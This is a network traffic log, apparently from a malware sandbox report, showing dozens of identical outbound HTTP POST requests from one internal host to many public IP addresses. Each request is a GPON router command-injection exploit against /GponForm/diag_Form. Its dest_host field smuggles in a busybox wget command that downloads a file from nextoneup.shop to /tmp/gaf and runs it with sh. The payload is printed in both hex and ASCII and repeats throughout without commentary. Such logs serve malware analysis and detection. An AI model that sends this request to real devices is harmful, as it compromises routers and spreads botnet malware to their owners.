Apr 14, 2024 04:00:43.980647087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.13	57302	123.243.231.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980664968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.13	41160	202.29.140.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980701923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.13	49522	5.140.32.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980720043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.13	50770	94.137.137.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980731010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.13	34442	42.1.251.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980731010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.13	55212	123.204.50.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980737925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.13	56066	42.131.119.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980767012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.13	38362	117.8.135.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980772018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.13	42226	79.207.129.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980806112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.13	34002	109.205.221.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980853081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.13	33704	148.51.98.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980848074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.13	33220	94.218.12.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980848074 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.13	40636	117.142.138.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980866909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.13	44422	5.200.164.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980900049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.13	42196	117.74.230.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980920076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.13	58970	109.131.138.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980945110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.13	35420	178.121.186.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980971098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.13	54938	202.6.70.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980989933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.13	41320	178.128.57.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981019974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.13	43760	5.29.202.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981014013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.13	57868	118.211.10.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981070995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.13	33774	5.164.41.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981077909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.13	48614	210.46.183.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981089115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.13	45624	94.203.117.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981137037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.13	59416	123.44.57.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981137037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

